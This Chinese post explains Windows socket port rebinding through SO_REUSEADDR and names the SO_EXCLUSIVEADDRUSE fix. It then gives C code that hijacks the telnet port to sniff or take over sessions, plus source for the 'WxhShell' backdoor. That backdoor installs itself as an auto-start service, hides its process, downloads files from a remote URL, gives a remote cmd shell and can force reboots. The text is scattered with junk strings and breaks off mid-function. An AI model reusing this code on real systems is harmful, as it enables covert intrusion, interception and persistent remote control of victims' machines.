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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Lc 4\i s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~2u~}v5m7 g(Q)fw saddr.sin_family = AF_INET; q2 K@i*s ~,[-pZ< saddr.sin_addr.s_addr = htonl(INADDR_ANY); :U;n?Zu
S Y~z3fd bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ua0fs|t1v '-C%?*ku 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 vF
yl,S5A +e
VWTRG 这意味着什么?意味着可以进行如下的攻击: _~~:@fy wJ#fmQXKJ5 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 q"BM*:W 7^1yZ1( 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) KglL@V7 YZ>L\ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 jZwv!-: );EW(7KeL
4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 XG_h\NIL %]NaHf 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;Z>u]uK4+ .axJ '*~W 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 7>
~70 <[iw1> 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *Iy5 V7`KU 5?6U@??] #include w_zUA'n+ #include X*ZTn
7< #include '"u>;Bq #include J)(KG dk DWORD WINAPI ClientThread(LPVOID lpParam); 3"v
k$ int main() fKEZlrw { /$a>f>EJ WORD wVersionRequested; mL\_C9k,n DWORD ret; WRa1VU&f WSADATA wsaData; Fu0"Asxce BOOL val; `y"(\1 SOCKADDR_IN saddr;
W)F<<B, SOCKADDR_IN scaddr; JF{yhx,+p int err; %#5\^4$z|N SOCKET s; Dsq_}6l{ SOCKET sc; /mS|Byx int caddsize; tYb8a HANDLE mt; %LI[+#QE DWORD tid; z}Y23W&sX wVersionRequested = MAKEWORD( 2, 2 ); i;:gBNmo= err = WSAStartup( wVersionRequested, &wsaData ); 5Bwr\]%$P if ( err != 0 ) { /~sNx printf("error!WSAStartup failed!\n"); A'A5.\UN return -1; &lbZTY} } ^eF%4DUC; saddr.sin_family = AF_INET; War<a#0 bUv}({ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 yg}zK>j^vC pF0sXvWGG saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _FpZc?= saddr.sin_port = htons(23); 8+}yf.` if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R#"LP7\ { <4lR printf("error!socket failed!\n"); B=<>OYH return -1; q47>RWMh% } !4;A"B( val = TRUE; +M )ep\j //SO_REUSEADDR选项就是可以实现端口重绑定的 LWH(bs9U if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Kjw==5)} { Myj5qh printf("error!setsockopt failed!\n"); ENx1) ] return -1; C8^h`B9z&I } r'|V z*/h //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; L@mNfLK //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 kmNa),`{s //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^Om0~)"q PhUG}94 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) uGXN ciEp` { ]o!rK< ret=GetLastError(); mGZJ$ | printf("error!bind failed!\n"); g=ehAg return -1; h?Y->!' } 11"- taWj listen(s,2); =1|^) 4M,x while(1) V(gmC%6%l* { qu8!fFQjYL caddsize = sizeof(scaddr); U-~6<\Mf //接受连接请求 cd&^ vQL8 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ON,sN if(sc!=INVALID_SOCKET) )GT*HJR(vc { !O*'mX mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); kdgU1T@y. if(mt==NULL) g4eEkG`XTS { 5{z muv: printf("Thread Creat Failed!\n"); \C{Dui)F break; 7dm:L'0 } xX !`0T7Y } z_i(o CloseHandle(mt); kv!QO^;^Y } h+\+9^l6| closesocket(s); ~nP~6Q'wSH WSACleanup(); @PQ%
xcOC7 return 0; Os90fR } Ux/|D_rlf DWORD WINAPI ClientThread(LPVOID lpParam) lmGVSdo
{ hSN{jl{L` SOCKET ss = (SOCKET)lpParam; @~=*W5 SOCKET sc; "_f~8f`y unsigned char buf[4096]; 2uCw[iZM SOCKADDR_IN saddr; mRurGaR long num; xmM!SY> DWORD val; 'VMov DWORD ret; dCb7sqJ% //如果是隐藏端口应用的话,可以在此处加一些判断 *dAQ{E(rO //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 *XU2%"Sc saddr.sin_family = AF_INET; N1',`L5 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); X_3*DqY saddr.sin_port = htons(23); '!hA!eo>J if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yjF;%A/0 { "^froQ{"T printf("error!socket failed!\n"); ia9=&Hy]) return -1; 5wE+p<-KX } JI3x^[(Z val = 100; ro n-v"! if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %#jW { x]Pp|rHj ret = GetLastError(); >eC>sTPQ{ return -1; \PzJ66DL! } *HONA>u
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) UR|Au'iu { {}n]\zO % ret = GetLastError(); 3>'TYXs- return -1; W?:e4:Q } /&i6vWMhP if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =#Z+WD-E { o*t4zF&n printf("error!socket connect failed!\n"); V+$^4Ht closesocket(sc); 0X<U.Sxn closesocket(ss); d}w}VL8l return -1; 3a\De(; } Oxp!G7qfo while(1) "-
?uB Mz { n1Wo<$# //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 v[2N- //如果是嗅探内容的话,可以再此处进行内容分析和记录 '8"nXuL- //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 si,)!%b num = recv(ss,buf,4096,0); ?onEqH> if(num>0) 5$?)f&M send(sc,buf,num,0); RxYC]R^78 else if(num==0) ;Tec)Fl break; e~ZxDAd num = recv(sc,buf,4096,0); t?(fDWd|- if(num>0) W; zzc1v send(ss,buf,num,0); ?u4t; else if(num==0) 'lMDlTU O break; P!yOA_)as } R*`=Bk0+ closesocket(ss); W9G1wU closesocket(sc); E)iX`Xq|0{ return 0 ; xG1(vn83gq } (
}RJW: 3+/^ ;)ku SH ========================================================== ;L@p|]fu O>LqpZ
下边附上一个代码,,WXhSHELL KIGMWS^^ 0F%/R^mw ========================================================== [9;[g~;E%m 4J{W8jX #include "stdafx.h" `uof\D<'] ^4~?]5Y\ #include <stdio.h> ]^0mh[" #include <string.h> ANRZQpnXQ #include <windows.h> bs_< UE #include <winsock2.h> %D49A-R #include <winsvc.h> Y_FQB K U #include <urlmon.h> 5|A"YzY# xqpq|U #pragma comment (lib, "Ws2_32.lib") 4d8}g25C #pragma comment (lib, "urlmon.lib") `$Y%c1; Kw =RqF #define MAX_USER 100 // 最大客户端连接数 FM"[:&> #define BUF_SOCK 200 // sock buffer 1l s 8 h #define KEY_BUFF 255 // 输入 buffer ~hb;kc3 8
+mW #define REBOOT 0 // 重启 &e3pmHp' #define SHUTDOWN 1 // 关机 T`2a) v@,`(\Ca' #define DEF_PORT 5000 // 监听端口 8K9RA< Ww0dU _ #define REG_LEN 16 // 注册表键长度 =>-W!Of #define SVC_LEN 80 // NT服务名长度 8I7JsCj 2<E@f0BVAy // 从dll定义API wWVB'MRXB, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w$0*5n>) typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); re fAgS!=q typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); juA}7 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]$!7;P w:9M6+mM^ // wxhshell配置信息 lE8(BWzw struct WSCFG { z
.+J\ int ws_port; // 监听端口 #G\Ae:O char ws_passstr[REG_LEN]; // 口令 a/n~#5- int ws_autoins; // 安装标记, 1=yes 0=no (\%J0kR3[ char ws_regname[REG_LEN]; // 注册表键名 }vd72PB char ws_svcname[REG_LEN]; // 服务名 pQoZDD@B$ char ws_svcdisp[SVC_LEN]; // 服务显示名 RREl($$p char ws_svcdesc[SVC_LEN]; // 服务描述信息 zbJ}@V char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]Na; b int ws_downexe; // 下载执行标记, 1=yes 0=no Ch)E:Dvq6 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" "8
?6;!, char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3$3%W<&^ bD=R/yA }; >@EwfM4[e }_D{|!!!T // default Wxhshell configuration
&MBm1T|Y struct WSCFG wscfg={DEF_PORT, F$S/zh$)0 "xuhuanlingzhe", y]g5S-G 1, `('NH]^ "Wxhshell", l%qfaU2 "Wxhshell", Ckhwd "WxhShell Service", AZ
SaI "Wrsky Windows CmdShell Service", ,xutI "Please Input Your Password: ", M hjIE<OI= 1, X([@}ren " http://www.wrsky.com/wxhshell.exe", 75iudki "Wxhshell.exe" {<zE}7/2- }; wj8\eK)]L BkB9u&s^ // 消息定义模块 X=? \A{Y char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; | Pqs)Mb] char *msg_ws_prompt="\n\r? for help\n\r#>"; ypNeTR$4 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ; hU9_e char *msg_ws_ext="\n\rExit."; CoV@{Pi char *msg_ws_end="\n\rQuit."; cqp^**s char *msg_ws_boot="\n\rReboot..."; 9t7 e~&R char *msg_ws_poff="\n\rShutdown..."; ?lm<)y?I7+ char *msg_ws_down="\n\rSave to "; CVZ4:p 7
6HB@'xY char *msg_ws_err="\n\rErr!"; !iAZEOkRR char *msg_ws_ok="\n\rOK!"; = gcZ RoL F.D6O[pZ char ExeFile[MAX_PATH]; }OSf C~5P int nUser = 0; G+WCE* HANDLE handles[MAX_USER]; /U>8vV+C int OsIsNt; Ls*Vz,3!5 m/WDJ$d SERVICE_STATUS serviceStatus; !lKDNQ8>[" SERVICE_STATUS_HANDLE hServiceStatusHandle; qv`:o
` &{8[I3#@ // 函数声明 ^y~oXS( int Install(void); a?)g>e
HN int Uninstall(void); kdMB.~(K= int DownloadFile(char *sURL, SOCKET wsh); ;1k_J~Qei int Boot(int flag); xM>dv5<E void HideProc(void); _he~Y2zFz int GetOsVer(void); xEB4oQ5 int Wxhshell(SOCKET wsl); v%QCp void TalkWithClient(void *cs); <#~n+, int CmdShell(SOCKET sock); R%JEx3)0m int StartFromService(void); USXPa[ int StartWxhshell(LPSTR lpCmdLine); =|d5V% mK nb@<UbabW} VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ZRUA w,T * VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4VzSqb tfv@
)9 // 数据结构和表定义 fVq,? SERVICE_TABLE_ENTRY DispatchTable[] = XX*f { 0qBXL;sE {wscfg.ws_svcname, NTServiceMain}, x!onan {NULL, NULL} .>'J ^^ }; %Ip=3($Ku[ Q8DKU // 自我安装 )EG-xo@X int Install(void) xH-} <7 { 5;9.&f char svExeFile[MAX_PATH]; )' 2vUt`_7 HKEY key; vf`] strcpy(svExeFile,ExeFile); QEEX|WM 'YEiT#+/ // 如果是win9x系统,修改注册表设为自启动 e co=ia if(!OsIsNt) { !Tu.A@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l`];CALA4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !p)cP"fa RegCloseKey(key); Fh)YNW@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,7e 2M@=
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'eoI~*}3WQ RegCloseKey(key); YC}$O2 return 0; v=H!Y"; } 87nsWBe } CzT_$v_ } Vb2")+*: else { *c@]c~hY, &J=x[{R // 如果是NT以上系统,安装为系统服务 S*rc XG6Q^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); YGLR%PYv" if (schSCManager!=0) b$FXRR\G { F,XJGD* SC_HANDLE schService = CreateService 9a.[>4} ( td+[Na0d schSCManager, 1 z[blNs& wscfg.ws_svcname, tQ4{:WPG wscfg.ws_svcdisp, y] ~X{v SERVICE_ALL_ACCESS, 8\Eq(o}7 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7M9s}b%? SERVICE_AUTO_START, 3*b!]^d:D SERVICE_ERROR_NORMAL, &S#bLE svExeFile, ~K|o@LK NULL, %P]-wBJw NULL, QLTE`t5w3' NULL, g? \pH:|79 NULL, {c$%3iQq NULL B Zw#ACU ); _d<\@Tkw if (schService!=0) #60<$HO:Z { 4>@-1nt} CloseServiceHandle(schService); KL*UU,qU CloseServiceHandle(schSCManager); k?=V?JWY strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Iyvl6 strcat(svExeFile,wscfg.ws_svcname); SHPZXJ{ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \'N|1!EO|t RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Bb/aeLv RegCloseKey(key); j Ns eD return 0; YJwz*@l } __||cQ } BcoE&I?[m| CloseServiceHandle(schSCManager); <kor;exeJ } %u|qAF2uS } ~LzTqMHM >:P3j<xTv return 1; RwwX;I"o% } :Zd# }P wwmODw<tT // 自我卸载 DSHpM/7 int Uninstall(void) 5*>3(U { L9U<E $%# HKEY key; l+ <x r^6vo6^ if(!OsIsNt) { +NEP*mk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &On0)G3Rc RegDeleteValue(key,wscfg.ws_regname); P^LOrLmo8 RegCloseKey(key); j|WaWnl= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P6 G/J- RegDeleteValue(key,wscfg.ws_regname); Dy^4^ J5+ RegCloseKey(key); 9P)<CD0 return 0; ?0Ca-T Rz } f1>^kl3@P } XsHl%o8,z } HIeMV,.QN else { }Mo9r4} %jM|*^\% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 73(T+6` if (schSCManager!=0) "$8<\k$LGT { et ]*5Y6 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bvR*sT#rg if (schService!=0) $Y0bjS2J { M+^K, if(DeleteService(schService)!=0) { #(*WxVE CloseServiceHandle(schService); U>x2'B v CloseServiceHandle(schSCManager); .]H]H *wC return 0; hOMFDfhU } o-Idr{ CloseServiceHandle(schService); |/lIasI } JT^E`<nn CloseServiceHandle(schSCManager); c)E[K-u } I}v'n{5( } )3B5"b, a\m10Ih: return 1; 25ZGuM } Da-(D<[0 Ef `LBAfOO // 从指定url下载文件 ::T<de7 int DownloadFile(char *sURL, SOCKET wsh) 6eK^T= { e#HP+b$ HRESULT hr; [Iihk5TT char seps[]= "/"; qryt1~Dq char *token; 3Ob"r` char *file; -;`W"&`ss char myURL[MAX_PATH]; ^Q :K$! char myFILE[MAX_PATH]; OEwfNZQ- BtHvfoT strcpy(myURL,sURL); JN KZ'9 token=strtok(myURL,seps); F5<{-{Ky while(token!=NULL) =OZ_\vO { C${TC+z file=token; r&3fSx9 token=strtok(NULL,seps); 2aje$w- } i)(QNpv Ju9v n44 GetCurrentDirectory(MAX_PATH,myFILE); (kuZS4Af strcat(myFILE, "\\"); My`%gP~%g strcat(myFILE, file); P/PS(` send(wsh,myFILE,strlen(myFILE),0); (&nl}_`7?, send(wsh,"...",3,0); T&23Pf 1 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rzBWk if(hr==S_OK) !3&vgvr return 0; "&+0jfLY+ else *-Yw0Y[E return 1; .yP
3}Nl _5LlL#) } F_Pd\Aq8 t@HE.h // 系统电源模块 anwn!Eqk" int Boot(int flag) er#=xqUY { X0$_KPn HANDLE hToken; Go67VqJr TOKEN_PRIVILEGES tkp; TnaIRJ\B aBC[(}Pb] if(OsIsNt) { `cv:p|s OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5UM[Iz LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5,((JxX$ tkp.PrivilegeCount = 1; H= y-Y_R tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mDmWTq\ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r4lG 5dV if(flag==REBOOT) { |5/[0V-vy if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sq^"bLw return 0; M#>GU<4" } 09?<K)_G else { ?hu 9c if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O&s6blD11 return 0; X>6a@$Mx P } _#F'rl6' } z} \9/` else { rN~`4mZ if(flag==REBOOT) { By_Ui6:D if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e.GzGX return 0; D?'y)]( } .0|J+D else { yW&iUh=0 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !jW32$YTR return 0; "%]dC{ } Y"jDZG? } aS7zG2R4H GT.^u#r return 1; }a1UOScO0 } 1m)/_y~1
k ^hgAgP{{ // win9x进程隐藏模块 Dn3~8 void HideProc(void) -CrZ'k;4 { p o`$^TB^+ |@ HdTGD HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7e<Q{aB if ( hKernel != NULL ) I@ k8^ { Jq#Cn+zW pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l}2WW1b( ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); a=FRJQ8S FreeLibrary(hKernel); @^%_ir( } v^pP&
<G kI'A`
/Bl return; `[\phv } ^-!HbbVv [VW;L l // 获取操作系统版本 zFr} $ int GetOsVer(void) 9%qMZP0] { NLl~/smMS OSVERSIONINFO winfo; (r4VIlap winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uLM_KZ GetVersionEx(&winfo); +CT$/k if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) eNFUjDm return 1; ODEXQl}R else wjJ1Psnx return 0; '5U$`Xe1 } y^\#bpq&\ @RIEO%S // 客户端句柄模块 0AKwZ'
&H int Wxhshell(SOCKET wsl) E3skC%} { =.hDf<U SOCKET wsh; He!!oKK> struct sockaddr_in client;
A*~1Uz\t DWORD myID; lKUm_; m %},G(> while(nUser<MAX_USER) \2xBOe-a] { J\'5CG int nSize=sizeof(client); rb'Gve W[ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jSYg\Z5! if(wsh==INVALID_SOCKET) return 1; Ib8i#D V R
TUNha^<T handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \q|PHl if(handles[nUser]==0) 3{:<z4>{ closesocket(wsh); rcmAVl:$> else ;
,<J:%s nUser++; }>~>5jc/Pg } &2=KQ\HO WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d %W}w. E$Pjp oQTf return 0; AsLjU#jn } M%s$F@ ~vV)| // 关闭 socket y9li<u<PF void CloseIt(SOCKET wsh) Xb-c`k~_ { ,nR8l closesocket(wsh); D(6x'</>? nUser--; }~r6>7I ExitThread(0); X,+}syK } 6QXQ<ah" 6.s? // 客户端请求句柄 !muYn-4M void TalkWithClient(void *cs) >Ryss@o { v-fi9$#^ o`mIi SOCKET wsh=(SOCKET)cs; hO.G'q$V char pwd[SVC_LEN]; qd~98FS char cmd[KEY_BUFF]; YG~ o char chr[1]; <>i+R#u{ int i,j; n qLAby_ -5v.1y=!L while (nUser < MAX_USER) { gQ=POJ=G S<!_
u q if(wscfg.ws_passstr) { |zq!CLjD@ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G+ v, Hi1 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Rgfhs[Z //ZeroMemory(pwd,KEY_BUFF); }K80G~O2< i=0; ^Lmc%y while(i<SVC_LEN) { C'czXZtn p_qm}zp
// 设置超时 :LiDJF fd_set FdRead; Z3So|M{v struct timeval TimeOut; xY'qm8V FD_ZERO(&FdRead); CEuk1$ FD_SET(wsh,&FdRead); (F[/~~ TimeOut.tv_sec=8; O+p-1 C$\ TimeOut.tv_usec=0; tNuC xb- int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j'Y"/< if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 04PoBv~g .k,Jt+ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8$v zpu pwd =chr[0]; V.Ba''E7 if(chr[0]==0xd || chr[0]==0xa) { mH*@d" pwd=0; ?QSx8d break; 20l_ay } L>Oy7w)Y i++; afF+*\xXN } )@bH" +#qt^NO // 如果是非法用户,关闭 socket Bf:tal6 -M if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i<wU.JX&h } B >u,) D<bU~Gd,P send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .D,?u"fk| send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [Ba2b: l6v W`u$7k]$ while(1) { =Etwa y,v0-o~q ZeroMemory(cmd,KEY_BUFF); <L/M`(:=k XK%W^a*x // 自动支持客户端 telnet标准 K 5qLBz@U j=0; <F)w=_%& while(j<KEY_BUFF) { #K#Mv/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -|Yh/ cmd[j]=chr[0]; +t>*l>[ if(chr[0]==0xa || chr[0]==0xd) { UOu6LD/|h cmd[j]=0; 6c2ThtL break; n4WSV } "VDk1YX_&l j++; G&@-R{i } I[=Wmxa?r X"k^89y$ // 下载文件 'Gl;Ir^ if(strstr(cmd,"http://")) { 0Q$~k send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'je8k7`VA if(DownloadFile(cmd,wsh)) ]^; b send(wsh,msg_ws_err,strlen(msg_ws_err),0); B 9LSxB else R2N^' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 13.{Y) } jy!f{dsC else { Eg`R|CF }$|%/Y switch(cmd[0]) { 3q#"i& z [qdmx^ // 帮助 ?-8y4
Ex case '?': { "J P{Q send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >HcYVp~G break; _b0S } m|[\F#+C // 安装 nY{i>Y case 'i': { NokXE if(Install()) U~{Sa+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); gb=80s0 else YER:ICQ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZI58XS+ break; DYo<5^0 } wi\z>'R // 卸载 Y_[g_ case 'r': { 5ys#L&q'Z if(Uninstall()) oUQGLl!V send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;'=VrE6 else X2\E9hJg send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X)Dqeb6 break; UsLh)#}h } "JzfL(yt // 显示 wxhshell 所在路径 /&D'V_Q`* case 'p': { v#<\:|XAg char svExeFile[MAX_PATH]; 2q"_^deI5* strcpy(svExeFile,"\n\r"); M'cJ)-G strcat(svExeFile,ExeFile); uX[O,l^} send(wsh,svExeFile,strlen(svExeFile),0); e1%rVQ(v break; Job/@> ; } M8 iEVJ // 重启 >.J'L5
x$ case 'b': { W[R]^2QAG send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CgVh\4,a if(Boot(REBOOT)) <\, &:< send(wsh,msg_ws_err,strlen(msg_ws_err),0); =cdh'"XN else { gf0PMc3l closesocket(wsh); /:#j?c ExitThread(0); PM~bM3Ei } OlEpid'Z break; 2;~KL-h0TK } \|4 Ca't // 关机 '1CD-
Bu case 'd': { L"[IOV9S send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oy2(A g\ if(Boot(SHUTDOWN)) T(Y}V[0+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); [urH a else { PSW#^o closesocket(wsh); R'G'&H{N ExitThread(0); xik`W!1S } <9@&oN+T break; "0|BoG } m9#}X_&x // 获取shell X,>(Y8 case 's': { 3%XG@OgP CmdShell(wsh); d4d\0[ closesocket(wsh); &bB6}H( ExitThread(0); U+4HG break; 7}<Sg } 'oC$6l'rQ // 退出 )*!1bgXQ case 'x': { NmjzDN send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;xSRwSNDi( CloseIt(wsh); >4Iv[ D1 break; N\_( w:q } "3@KRb4f // 离开 Lb!r(o>8Cb case 'q': { dO+kPC send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7k3p'FeS closesocket(wsh); LL{t5(- _ WSACleanup(); +jcdf} exit(1); 4w@v#H@ break; N%O[ } a|UqeNI{ } r k@UsHy }
q4_** gk"mr_03 // 提示信息 D2Y&[zgv if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F
b1EMVu } `Gf{z%/ } SLSF
<$ GL/ KB return; /a%*u6z@ } =]T|h [d0%.+U // shell模块句柄 V{KjRSVf= int CmdShell(SOCKET sock) O8gfiQqF& { 1x{XE*%; STARTUPINFO si; Mz93 ZeroMemory(&si,sizeof(si)); ?;Un#6b si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =Qyqfy*@D? si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6mwvI4) PROCESS_INFORMATION ProcessInfo; #
2d,U\_ char cmdline[]="cmd"; PDhWFF CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1c'79YU return 0; 5KK{%6#f\ } "rVU4F) T4eWbNSs // 自身启动模式 THJ
3-Ug int StartFromService(void) A xf^hBP { l7ZB3' typedef struct (JWv *p { Q2q|*EL DWORD ExitStatus; Eevw*;$x DWORD PebBaseAddress; 1XCmMZ DWORD AffinityMask; ^dh=M5xz) DWORD BasePriority; ?<E0zM+ ULONG UniqueProcessId; :aH%bk ULONG InheritedFromUniqueProcessId; MZ)T0|S_ } PROCESS_BASIC_INFORMATION; AhR0zg ~,T+JX PROCNTQSIP NtQueryInformationProcess; Oohq9f#! )qmFK
